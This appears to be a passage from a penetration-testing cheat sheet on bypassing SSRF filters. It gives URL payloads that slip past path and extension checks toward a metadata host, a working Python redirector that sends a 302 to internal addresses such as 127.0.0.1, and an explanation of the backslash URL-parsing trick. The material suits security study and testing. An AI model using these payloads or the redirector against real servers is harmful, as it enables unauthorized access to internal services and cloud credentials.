Paths and Extensions Bypass

If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

The tool recollapse can generate variations from a given input to try to bypass the used regex. Check this post also for more information.

Bypass via redirect

It might be possible that the server is filtering the original request of a SSRF but not a possible redirect response to that request.
For example, a server vulnerable to SSRF via: url=https://www.google.com/ might be filtering the url param. But if you uses a python server to respond with a 302 to the place where you want to redirect, you might be able to access filtered IP addresses like 127.0.0.1 or even filtered protocols like gopher.
Check out this report.

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Explained Tricks

Blackslash-trick

In short, the backslash-trick relies on exploiting a minor difference between two “URL” specifications: the WHATWG URL Standard, and RFC3986. RFC3986 is a generic, multi-purpose specification for the syntax of Uniform Resource Identifiers, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard.

Both of them describe a way of parsing URI/URLs, with one slight difference. The WHATWG specification describes one extra character, the \, which behaves just like /: ends the hostname & authority and starts the path of the URL.
